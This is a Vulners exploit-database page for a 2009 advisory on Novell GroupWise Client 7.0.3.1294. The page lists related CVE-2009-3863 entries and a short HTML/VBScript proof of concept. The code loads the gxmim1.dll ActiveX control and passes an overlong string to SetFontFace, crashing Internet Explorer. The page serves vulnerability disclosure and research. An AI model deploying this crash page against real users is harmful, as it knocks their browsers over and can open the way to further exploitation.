Vulners
Lucene search
Novell Groupwise Client 7.0.3.1294 - ActiveX Denial of Service (PoC)
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2009-3863 | 15 Sep 200900:00 | – | circl |
 | CVE-2009-3863 | 4 Nov 200918:00 | – | cve |
 | CVE-2009-3863 | 4 Nov 200918:00 | – | cvelist |
 | EUVD-2009-3834 | 7 Oct 202500:30 | – | euvd |
 | CVE-2009-3863 | 4 Nov 200918:30 | – | nvd |
 | Novell Groupwise Client ActiveX Control Buffer Overflow Vulnerability | 9 Nov 200900:00 | – | openvas |
| Novell Groupwise Client ActiveX Control Buffer Overflow Vulnerability | 9 Nov 200900:00 | – | openvas |
 | Buffer overflow | 4 Nov 200918:30 | – | prion |
#####################################################################################
Application: Novell Groupwise Client 7.0.3.1294
Platforms: Windows XP Professional French SP2 and SP3
crash: IE 6.0.2900.2180
Exploitation: remote DoS
Date: 2009-08-24
Author: Francis Provencher (Protek Research Lab's)
#####################################################################################
1) Introduction
2) Technical details and bug
3) The Code
#####################################################################################
===============
1) Introduction
===============
GroupWise is a messaging and collaborative software platform from Novell that supports email, calendaring, personal information management, instant messaging, and document management. The platform consists of the client software, which is available for Windows, Mac OS X, and Linux, and the server software, which is supported on Windows Server, Netware, and Linux. The latest generation of the platform is GroupWise 8, which was launched in 2008.
#####################################################################################
============================
2) Technical details
============================
Name: gxmim1.dll
Ver.: 7.0.3.1294
CLSID: {9796BED2-C1CF-11D2-9384-0008C7396667}
#####################################################################################
===========
3) The Code
===========
Proof of concept DoS code;
<html>
<object classid='clsid:9796BED2-C1CF-11D2-9384-0008C7396667' id='GWComposeCtl'></object>
<script language='vbscript'>
argCount = 1
arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
GWComposeCtl.SetFontFace arg1
</script>
#####################################################################################
# milw0rm.com [2009-09-15]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Sep 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.05023